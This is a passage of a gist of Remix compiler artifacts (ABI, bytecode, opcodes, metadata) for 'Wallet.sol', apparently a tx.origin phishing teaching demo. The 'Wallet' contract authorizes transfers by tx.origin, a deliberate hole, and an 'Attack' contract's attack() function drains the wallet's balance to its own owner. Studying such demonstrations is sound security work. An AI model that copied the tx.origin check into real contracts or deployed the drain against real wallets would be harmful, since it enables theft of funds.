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vyorkin/contracts...Wallet.sol

Created March 9, 2022 11:08
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
Raw
contracts...artifacts...Attack.json
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"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_Wallet_$55(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_Wallet_$55(value) {\n if iszero(eq(value, cleanup_t_contract$_Wallet_$55(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_Wallet_$55_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_Wallet_$55(value)\n }\n\n function abi_decode_tuple_t_contract$_Wallet_$55_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_Wallet_$55_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
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"contents": "{\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address_payable(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function abi_encode_t_address_payable_to_t_address_payable_fromStack(value, pos) {\n mstore(pos, cleanup_t_address_payable(value))\n }\n\n function abi_encode_tuple_t_address_payable__to_t_address_payable__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_payable_to_t_address_payable_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_address_payable_t_uint256__to_t_address_payable_t_uint256__fromStack_reversed(headStart , value1, value0) -> tail {\n tail := add(headStart, 64)\n\n abi_encode_t_address_payable_to_t_address_payable_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value1, add(headStart, 32))\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c80638da5cb5b1461003b5780639e5faafc14610059575b600080fd5b610043610063565b60405161005091906101b2565b60405180910390f35b610061610087565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316040518363ffffffff1660e01b815260040161013d9291906101e6565b600060405180830381600087803b15801561015757600080fd5b505af115801561016b573d6000803e3d6000fd5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061019c82610171565b9050919050565b6101ac81610191565b82525050565b60006020820190506101c760008301846101a3565b92915050565b6000819050919050565b6101e0816101cd565b82525050565b60006040820190506101fb60008301856101a3565b61020860208301846101d7565b939250505056fea26469706673582212200a73146d23e0bafb1b1393bca09de93af591d0abca052814649aa7da9e7a19af64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x63 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x1B2 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x61 PUSH2 0x87 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA9059CBB PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x13D SWAP3 SWAP2 SWAP1 PUSH2 0x1E6 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x157 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x16B JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x19C DUP3 PUSH2 0x171 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1AC DUP2 PUSH2 0x191 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1C7 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x1A3 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1E0 DUP2 PUSH2 0x1CD JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 DUP3 ADD SWAP1 POP PUSH2 0x1FB PUSH1 0x0 DUP4 ADD DUP6 PUSH2 0x1A3 JUMP JUMPDEST PUSH2 0x208 PUSH1 0x20 DUP4 ADD DUP5 PUSH2 0x1D7 JUMP JUMPDEST SWAP4 SWAP3 POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 EXP PUSH20 0x146D23E0BAFB1B1393BCA09DE93AF591D0ABCA05 0x28 EQ PUSH5 0x9AA7DA9E7A NOT 0xAF PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "492:280:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;514:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;680:89;;;:::i;:::-;;514:28;;;;;;;;;;;;:::o;680:89::-;715:6;;;;;;;;;;;:15;;;731:5;;;;;;;;;;746:6;;;;;;;;;;;738:23;;;715:47;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;680:89::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:104::-;184:7;213:24;231:5;213:24;:::i;:::-;202:35;;139:104;;;:::o;249:142::-;352:32;378:5;352:32;:::i;:::-;347:3;340:45;249:142;;:::o;397:254::-;506:4;544:2;533:9;529:18;521:26;;557:87;641:1;630:9;626:17;617:6;557:87;:::i;:::-;397:254;;;;:::o;657:77::-;694:7;723:5;712:16;;657:77;;;:::o;740:118::-;827:24;845:5;827:24;:::i;:::-;822:3;815:37;740:118;;:::o;864:364::-;1001:4;1039:2;1028:9;1024:18;1016:26;;1052:87;1136:1;1125:9;1121:17;1112:6;1052:87;:::i;:::-;1149:72;1217:2;1206:9;1202:18;1193:6;1149:72;:::i;:::-;864:364;;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "116200",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"attack()": "infinite",
"owner()": "2489"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc",
"owner()": "8da5cb5b"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract Wallet",
"name": "_wallet",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
Raw
contracts...artifacts...Attack_metadata.json
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract Wallet",
"name": "_wallet",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address payable",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Wallet.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Wallet.sol": {
"keccak256": "0x4e4a4d427794da671f332481e5889200eacae534846d273dd01c453769cb647b",
"license": "MIT",
"urls": [
"bzz-raw://f9a751db35ec6e8d93bf7483ff6d7421a61b93c8470841516d3ddd15b8b502ac",
"dweb:/ipfs/QmbzLTdvpAg7TmyijBYjKYvtsZHzWSwwRrKHKf6ES4Vs4j"
]
}
},
"version": 1
}
Raw
contracts...artifacts...Wallet.json
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
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"autoDeployLib": true
},
"kovan:42": {
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},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_12": {
"entryPoint": null,
"id": 12,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"linkReferences": {},
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DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x97 SWAP2 SWAP1 PUSH2 0x308 JUMP JUMPDEST PUSH2 0xCA JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SELFBALANCE SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND ORIGIN PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND EQ PUSH2 0x158 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x14F SWAP1 PUSH2 0x3A5 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP3 PUSH1 0x40 MLOAD PUSH2 0x17E SWAP1 PUSH2 0x3F6 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x1BB JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x1C0 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x204 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1FB SWAP1 PUSH2 0x457 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x21C DUP2 PUSH2 0x209 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x237 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x213 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x268 DUP3 PUSH2 0x23D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x278 DUP2 PUSH2 0x25D JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x293 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x26F JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x2A9 DUP3 PUSH2 0x23D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2B9 DUP2 PUSH2 0x29E JUMP JUMPDEST DUP2 EQ PUSH2 0x2C4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x2D6 DUP2 PUSH2 0x2B0 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2E5 DUP2 PUSH2 0x209 JUMP JUMPDEST DUP2 EQ PUSH2 0x2F0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x302 DUP2 PUSH2 0x2DC JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x40 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x31F JUMPI PUSH2 0x31E PUSH2 0x299 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x32D DUP6 DUP3 DUP7 ADD PUSH2 0x2C7 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x20 PUSH2 0x33E DUP6 DUP3 DUP7 ADD PUSH2 0x2F3 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E6F74206F776E65720000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x38F PUSH1 0x9 DUP4 PUSH2 0x348 JUMP JUMPDEST SWAP2 POP PUSH2 0x39A DUP3 PUSH2 0x359 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x3BE DUP2 PUSH2 0x382 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3E0 PUSH1 0x0 DUP4 PUSH2 0x3C5 JUMP JUMPDEST SWAP2 POP PUSH2 0x3EB DUP3 PUSH2 0x3D0 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x401 DUP3 PUSH2 0x3D3 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x441 PUSH1 0x14 DUP4 PUSH2 0x348 JUMP JUMPDEST SWAP2 POP PUSH2 0x44C DUP3 PUSH2 0x40B JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x470 DUP2 PUSH2 0x434 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 CALLDATALOAD PUSH7 0xC7271012B7391E 0xC1 0xE6 PUSH15 0x53A0F76CE11CE208AAC125B98D055D 0x4B ADDRESS EXTCODEHASH DUP2 ADDMOD PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:432:0:-:0;;;147:10;139:5;;:18;;;;;;;;;;;;;;;;;;58:432;;;;;;"
},
"deployedBytecode": {
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PUSH2 0x23D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2B9 DUP2 PUSH2 0x29E JUMP JUMPDEST DUP2 EQ PUSH2 0x2C4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x2D6 DUP2 PUSH2 0x2B0 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2E5 DUP2 PUSH2 0x209 JUMP JUMPDEST DUP2 EQ PUSH2 0x2F0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x302 DUP2 PUSH2 0x2DC JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x40 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x31F JUMPI PUSH2 0x31E PUSH2 0x299 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x32D DUP6 DUP3 DUP7 ADD PUSH2 0x2C7 JUMP JUMPDEST SWAP3 POP POP PUSH1 0x20 PUSH2 0x33E DUP6 DUP3 DUP7 ADD PUSH2 0x2F3 JUMP JUMPDEST SWAP2 POP POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E6F74206F776E65720000000000000000000000000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x38F PUSH1 0x9 DUP4 PUSH2 0x348 JUMP JUMPDEST SWAP2 POP PUSH2 0x39A DUP3 PUSH2 0x359 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x3BE DUP2 PUSH2 0x382 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3E0 PUSH1 0x0 DUP4 PUSH2 0x3C5 JUMP JUMPDEST SWAP2 POP PUSH2 0x3EB DUP3 PUSH2 0x3D0 JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x401 DUP3 PUSH2 0x3D3 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x441 PUSH1 0x14 DUP4 PUSH2 0x348 JUMP JUMPDEST SWAP2 POP PUSH2 0x44C DUP3 PUSH2 0x40B JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x470 DUP2 PUSH2 0x434 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 CALLDATALOAD PUSH7 0xC7271012B7391E 0xC1 0xE6 PUSH15 0x53A0F76CE11CE208AAC125B98D055D 0x4B ADDRESS EXTCODEHASH DUP2 ADDMOD PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:432:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;395:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;80:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;170:219;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;395:93;437:4;460:21;453:28;;395:93;:::o;80:20::-;;;;;;;;;;;;:::o;170:219::-;261:5;;;;;;;;;;248:18;;:9;:18;;;240:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;292:9;307:3;:8;;323:7;307:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;291:44;;;353:4;345:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;230:159;170:219;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:126::-;479:7;519:42;512:5;508:54;497:65;;442:126;;;:::o;574:96::-;611:7;640:24;658:5;640:24;:::i;:::-;629:35;;574:96;;;:::o;676:118::-;763:24;781:5;763:24;:::i;:::-;758:3;751:37;676:118;;:::o;800:222::-;893:4;931:2;920:9;916:18;908:26;;944:71;1012:1;1001:9;997:17;988:6;944:71;:::i;:::-;800:222;;;;:::o;1109:117::-;1218:1;1215;1208:12;1355:104;1400:7;1429:24;1447:5;1429:24;:::i;:::-;1418:35;;1355:104;;;:::o;1465:138::-;1546:32;1572:5;1546:32;:::i;:::-;1539:5;1536:43;1526:71;;1593:1;1590;1583:12;1526:71;1465:138;:::o;1609:155::-;1663:5;1701:6;1688:20;1679:29;;1717:41;1752:5;1717:41;:::i;:::-;1609:155;;;;:::o;1770:122::-;1843:24;1861:5;1843:24;:::i;:::-;1836:5;1833:35;1823:63;;1882:1;1879;1872:12;1823:63;1770:122;:::o;1898:139::-;1944:5;1982:6;1969:20;1960:29;;1998:33;2025:5;1998:33;:::i;:::-;1898:139;;;;:::o;2043:490::-;2119:6;2127;2176:2;2164:9;2155:7;2151:23;2147:32;2144:119;;;2182:79;;:::i;:::-;2144:119;2302:1;2327:61;2380:7;2371:6;2360:9;2356:22;2327:61;:::i;:::-;2317:71;;2273:125;2437:2;2463:53;2508:7;2499:6;2488:9;2484:22;2463:53;:::i;:::-;2453:63;;2408:118;2043:490;;;;;:::o;2539:169::-;2623:11;2657:6;2652:3;2645:19;2697:4;2692:3;2688:14;2673:29;;2539:169;;;;:::o;2714:159::-;2854:11;2850:1;2842:6;2838:14;2831:35;2714:159;:::o;2879:365::-;3021:3;3042:66;3106:1;3101:3;3042:66;:::i;:::-;3035:73;;3117:93;3206:3;3117:93;:::i;:::-;3235:2;3230:3;3226:12;3219:19;;2879:365;;;:::o;3250:419::-;3416:4;3454:2;3443:9;3439:18;3431:26;;3503:9;3497:4;3493:20;3489:1;3478:9;3474:17;3467:47;3531:131;3657:4;3531:131;:::i;:::-;3523:139;;3250:419;;;:::o;3675:147::-;3776:11;3813:3;3798:18;;3675:147;;;;:::o;3828:114::-;;:::o;3948:398::-;4107:3;4128:83;4209:1;4204:3;4128:83;:::i;:::-;4121:90;;4220:93;4309:3;4220:93;:::i;:::-;4338:1;4333:3;4329:11;4322:18;;3948:398;;;:::o;4352:379::-;4536:3;4558:147;4701:3;4558:147;:::i;:::-;4551:154;;4722:3;4715:10;;4352:379;;;:::o;4737:170::-;4877:22;4873:1;4865:6;4861:14;4854:46;4737:170;:::o;4913:366::-;5055:3;5076:67;5140:2;5135:3;5076:67;:::i;:::-;5069:74;;5152:93;5241:3;5152:93;:::i;:::-;5270:2;5265:3;5261:12;5254:19;;4913:366;;;:::o;5285:419::-;5451:4;5489:2;5478:9;5474:18;5466:26;;5538:9;5532:4;5528:20;5524:1;5513:9;5509:17;5502:47;5566:131;5692:4;5566:131;:::i;:::-;5558:139;;5285:419;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "239400",
"executionCost": "24523",
"totalCost": "263923"
},
"external": {
"getBalance()": "317",
"owner()": "2511",
"transfer(address,uint256)": "infinite"
}
},
"methodIdentifiers": {
"getBalance()": "12065fe0",
"owner()": "8da5cb5b",
"transfer(address,uint256)": "a9059cbb"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address payable",
"name": "_to",
"type": "address"
},
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
Raw
contracts...artifacts...Wallet_metadata.json
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address payable",
"name": "_to",
"type": "address"
},
